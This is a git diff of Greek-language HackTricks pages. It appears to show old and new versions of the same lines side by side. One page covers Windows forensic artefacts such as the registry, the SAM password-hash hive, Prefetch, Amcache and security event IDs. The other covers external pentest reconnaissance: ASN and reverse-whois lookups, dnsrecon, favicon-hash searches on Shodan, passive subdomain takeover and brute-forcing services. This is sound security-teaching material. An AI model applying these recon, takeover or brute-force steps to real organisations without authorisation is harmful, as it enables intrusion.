Ένα **OST αρχείο** δημιουργείται από το Microsoft Outlook όταν είναι ρυθμισμένο με **IMAP** ή έναν **Exchange** διακομιστή, αποθηκεύοντας παρόμοιες πληροφορίες με ένα αρχείο PST. Αυτό το αρχείο συγχρονίζεται με τον διακομιστή, διατηρώντας δεδομένα για **τους τελευταίους 12 μήνες** έως **μέγιστο μέγεθος 50GB**, και βρίσκεται στον ίδιο φάκελο με το αρχείο PST. Για να δείτε ένα OST αρχείο, μπορείτε να χρησιμοποιήσετε τον [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html).
### Ανάκτηση Συνημμένων
@ -241,14 +241,14 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
Ορισμένα εργαλεία είναι χρήσιμα για την ανάλυση των αρχείων μητρώου:
- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για πλοήγηση μέσω του μητρώου Windows της τρέχουσας συνεδρίας.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να πλοηγηθείτε μέσω αυτού με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την πλοήγηση μέσω του φορτωμένου μητρώου και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
- **Registry Editor**: Είναι εγκατεστημένο στα Windows. Είναι ένα GUI για να περιηγηθείτε στο μητρώο Windows της τρέχουσας συνεδρίας.
- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Σας επιτρέπει να φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες.
- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο.
- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο.
### Ανάκτηση Διαγραμμένων Στοιχείων
Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά.
Όταν ένα κλειδί διαγράφεται, σημειώνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά.
### Τελευταίος Χρόνος Γραφής
@ -256,12 +256,13 @@ In this case, οι πληροφορίες θα αποθηκευτούν μέσα
### SAM
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes κωδικών πρόσβασης χρηστών** του συστήματος.
Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης** του συστήματος.
Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**.
### Ενδιαφέροντα στοιχεία στο Μητρώο Windows
{{#ref}}
interesting-windows-registry-keys.md
{{#endref}}
@ -278,7 +279,7 @@ interesting-windows-registry-keys.md
### BAM (Background Activity Moderator)
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Δεδομένων του μητρώου).
Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **σε ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου).
### Windows Prefetch
@ -288,7 +289,7 @@ interesting-windows-registry-keys.md
Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα.
Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **ανοιχτά** από το πρόγραμμα.
Για να ελέγξετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
```bash
@ -327,7 +328,7 @@ interesting-windows-registry-keys.md
```
### AppCompatCache (ShimCache)
Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
Ο **AppCompatCache**, γνωστός και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν:
- Πλήρης διαδρομή του αρχείου
- Μέγεθος του αρχείου
@ -350,7 +351,7 @@ interesting-windows-registry-keys.md
Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
Για να εξαγάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool. Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε το περιεχόμενο του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV:
```bash
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
```
@ -436,7 +437,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης.
- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket.
- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού.
- **0xC0000225**: Υποδεικνύει σφάλμα συστήματος αντί για πρόβλημα ασφαλείας.
- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας.
- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας.
#### EventID 4616:
@ -449,7 +450,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
#### EventID 1102:
- **Διαγραφή Καταγραφών**: Καταγραφές ασφαλείας που διαγράφονται, το οποίο είναι συχνά κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων.
- **Διαγραφή Καταγραφών**: Οι καταγραφές ασφαλείας διαγράφονται, γεγονός που συχνά είναι κόκκινος σημαία για την κάλυψη παράνομων δραστηριοτήτων.
#### EventIDs για Παρακολούθηση Συσκευών USB:
@ -475,7 +476,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
#### Αλλαγή Χρόνου
Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας.
Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την εγκληματολογική ανάλυση.
#### Παρακολούθηση Συσκευών USB
@ -487,6 +488,6 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
#### Διαγραφή Καταγραφών
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας.
Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή καταγραφών, ένα κρίσιμο γεγονός για την εγκληματολογική ανάλυση.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -10,8 +10,8 @@
1. Βρούμε τις εξαγορές της κύριας εταιρείας, αυτό θα μας δώσει τις εταιρείες εντός του πεδίου εφαρμογής.
2. Βρούμε το ASN (αν υπάρχει) κάθε εταιρείας, αυτό θα μας δώσει τις περιοχές IP που ανήκουν σε κάθε εταιρεία.
3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να αναζητήσουμε άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να αναζητήσουμε άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
3. Χρησιμοποιήσουμε αναζητήσεις reverse whois για να ψάξουμε για άλλες καταχωρίσεις (ονόματα οργανισμών, τομείς...) σχετικές με την πρώτη (αυτό μπορεί να γίνει αναδρομικά).
4. Χρησιμοποιήσουμε άλλες τεχνικές όπως τα φίλτρα shodan `org` και `ssl` για να ψάξουμε για άλλα περιουσιακά στοιχεία (το κόλπο `ssl` μπορεί να γίνει αναδρομικά).
### **Εξαγορές**
@ -24,11 +24,11 @@
### **ASNs**
Ένας αριθμός αυτόνομου συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που αποδίδεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανάθεσης Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από αρκετούς φορείς.
Ένα **AS** αποτελείται από **μπλοκ** **διευθύνσεων IP** που έχουν μια σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικούνται από μια μόνο οργάνωση αλλά μπορεί να απαρτίζεται από αρκετούς φορείς.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει αναθέσει κάποιο ASN** για να βρούμε τις **περιοχές IP της.** Θα είναι ενδιαφέρον να εκτελέσουμε μια **δοκιμή ευπάθειας** σε όλους τους **φιλοξενούμενους** εντός του **πεδίου εφαρμογής** και **να αναζητήσουμε τομείς** μέσα σε αυτές τις IPs.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με **IP** ή με **τομέα** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανότατα όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
**Ανάλογα με την περιοχή της εταιρείας, αυτοί οι σύνδεσμοι θα μπορούσαν να είναι χρήσιμοι για τη συλλογή περισσότερων δεδομένων:** [**AFRINIC**](https://www.afrinic.net) **(Αφρική),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Βόρεια Αμερική),** [**APNIC**](https://www.apnic.net) **(Ασία),** [**LACNIC**](https://www.lacnic.net) **(Λατινική Αμερική),** [**RIPE NCC**](https://www.ripe.net) **(Ευρώπη). Ούτως ή άλλως, πιθανώς όλες οι** χρήσιμες πληροφορίες **(περιοχές IP και Whois)** εμφανίζονται ήδη στον πρώτο σύνδεσμο.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -51,18 +51,18 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης χρησιμοποιώντας επίσης [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\
Μπορείτε να βρείτε το IP και το ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com).
Μπορείτε να βρείτε τα εύρη IP μιας οργάνωσης επίσης χρησιμοποιώντας [http://asnlookup.com/](http://asnlookup.com) (έχει δωρεάν API).\
Μπορείτε να βρείτε το IP και ASN ενός τομέα χρησιμοποιώντας [http://ipv4info.com/](http://ipv4info.com).
### **Αναζητώντας ευπάθειες**
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε πολλές πιθανές υπηρεσίες που τρέχουν.\
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου**, οπότε αν έχετε άδεια, μπορείτε να εκκινήσετε κάποιο **εργαλείο σάρωσης ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκκινήσετε κάποιες [**σάρωσεις θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με το τι θα βρείτε, θα πρέπει να** ρίξετε μια ματιά σε αυτό το βιβλίο για το πώς να κάνετε pentest σε διάφορες πιθανές υπηρεσίες που τρέχουν.\
**Επίσης, αξίζει να αναφερθεί ότι μπορείτε επίσης να προετοιμάσετε κάποιες** λίστες με προεπιλεγμένα ονόματα χρήστη **και** κωδικούς πρόσβασης **και να προσπαθήσετε να** κάνετε bruteforce υπηρεσίες με [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Τομείς
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, ήρθε η ώρα να βρούμε τους τομείς εντός του πεδίου.
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τους τομείς εντός του πεδίου.
αρακαλώ σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομείς και αυτή η πληροφορία δεν θα πρέπει να υποτιμάται._
@ -70,7 +70,7 @@ _Παρακαλώ σημειώστε ότι στις παρακάτω προτε
### **Αντίστροφη DNS**
Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις dns** σε αυτές τις **IPs για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8)
Καθώς έχετε βρει όλα τα εύρη IP των τομέων, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτές τις **IP για να βρείτε περισσότερους τομείς εντός του πεδίου**. Προσπαθήστε να χρησιμοποιήσετε κάποιον DNS server του θύματος ή κάποιον γνωστό DNS server (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -78,12 +78,12 @@ dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα online εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
Μπορείτε επίσης να χρησιμοποιήσετε ένα διαδικτυακό εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
### **Αντίστροφο Whois (loop)**
### **Αντίστροφος Whois (loop)**
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως **όνομα οργανισμού**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά το πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλες καταχωρίσεις whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως:
Μπορείτε να χρησιμοποιήσετε διαδικτυακά εργαλεία όπως:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Δωρεάν**
@ -96,11 +96,11 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
Μπορείτε να αυτοματοποιήσετε αυτή την εργασία χρησιμοποιώντας [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί κλειδί API whoxy).\
Μπορείτε επίσης να εκτελέσετε κάποια αυτόματη ανακάλυψη αντίστροφου whois με [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.**
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτή την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέων κάθε φορά που βρίσκετε ένα νέο τομέα.**
### **Trackers**
Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την ίδια ομάδα.\
Για παράδειγμα, αν δείτε το ίδιο **Google Analytics ID** ή το ίδιο **Adsense ID** σε πολλές σελίδες.
Υπάρχουν κάποιες σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με αυτούς τους trackers και περισσότερα:
@ -113,20 +113,20 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Να πώς να το χρησιμοποιήσετε:
Γνωρίζατε ότι μπορούμε να βρούμε σχετικούς τομείς και υποτομείς στον στόχο μας αναζητώντας το ίδιο hash εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που έχει δημιουργήσει ο [@m4ll0k2](https://twitter.com/m4ll0k2). Ορίστε πώς να το χρησιμοποιήσετε:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - ανακάλυψη τομέων με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
![favihash - ανακαλύψτε τομείς με το ίδιο hash εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Απλά, το favihash θα μας επιτρέψει να ανακαλύψουμε τομείς που έχουν το ίδιο hash εικονιδίου favicon με τον στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**:
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας το hash του favicon όπως εξηγείται σε [**αυτή την ανάρτηση στο blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε το **hash του favicon μιας ευάλωτης έκδοσης μιας διαδικτυακής τεχνολογίας** μπορείτε να αναζητήσετε αν στο shodan και **να βρείτε περισσότερες ευάλωτες τοποθεσίες**:
```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
```
Αυτός είναι ο τρόπος με τον οποίο μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
Αυτός είναι ο τρόπος που μπορείτε να **υπολογίσετε το hash του favicon** ενός ιστότοπου:
```python
import mmh3
import requests
@ -141,11 +141,11 @@ return fhash
```
### **Copyright / Uniq string**
Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμη και σε **shodan**: `shodan search http.html:"Copyright string"`
Αναζητήστε μέσα στις ιστοσελίδες **αλφαριθμητικούς χαρακτήρες που θα μπορούσαν να μοιραστούν σε διάφορες ιστοσελίδες της ίδιας οργάνωσης**. Η **αλφαριθμητική δήλωση πνευματικών δικαιωμάτων** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια, αναζητήστε αυτή τη δήλωση σε **google**, σε άλλους **προγράμματα περιήγησης** ή ακόμα και σε **shodan**: `shodan search http.html:"Copyright string"`
### **CRT Time**
Είναι κοινό να υπάρχει μια εργασία cron όπως
Είναι συνηθισμένο να υπάρχει μια εργασία cron όπως
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
@ -159,7 +159,7 @@ return fhash
### **Passive Takeover**
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την διεύθυνση IP αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**.
Φαίνεται ότι είναι κοινό για τους ανθρώπους να αναθέτουν υποτομείς σε IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **να χάσουν αυτήν την IP διεύθυνση αλλά να ξεχάσουν να αφαιρέσουν την εγγραφή DNS**. Επομένως, απλά **δημιουργώντας μια VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλαμβάνετε στην πραγματικότητα κάποιους υποτομείς**.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **δημιουργεί μια VM στο DigitalOcean**, **παίρνει** την **IPv4** της νέας μηχανής και **αναζητά σε Virustotal για εγγραφές υποτομέων** που δείχνουν σε αυτήν.
@ -175,11 +175,11 @@ return fhash
**Assetfinder**
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **σχετικούς τομείς** με έναν κύριο τομέα και **υποτομείς** αυτών, αρκετά εκπληκτικό.
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **τομείς σχετικούς** με έναν κύριο τομέα και **υποτομείς** αυτών, αρκετά εκπληκτικό.
### **Αναζητώντας ευπάθειες**
Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία να **χρησιμοποιεί κάποιον τομέα** αλλά να **έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **χρησιμοποιεί κάποιον τομέα** αλλά **έχασε την ιδιοκτησία**. Απλά καταχωρίστε τον (αν είναι αρκετά φθηνός) και ενημερώστε την εταιρεία.
Αν βρείτε οποιονδήποτε **τομέα με μια IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, να είστε προσεκτικοί._
@ -195,13 +195,13 @@ _Σημειώστε ότι μερικές φορές ο τομέας φιλοξ
### **DNS**
Ας προσπαθήσουμε να αποκτήσουμε **υποτομείς** από τις **εγγραφές DNS**. Πρέπει επίσης να προσπαθήσουμε για **Zone Transfer** (Αν είναι ευάλωτο, θα πρέπει να το αναφέρετε).
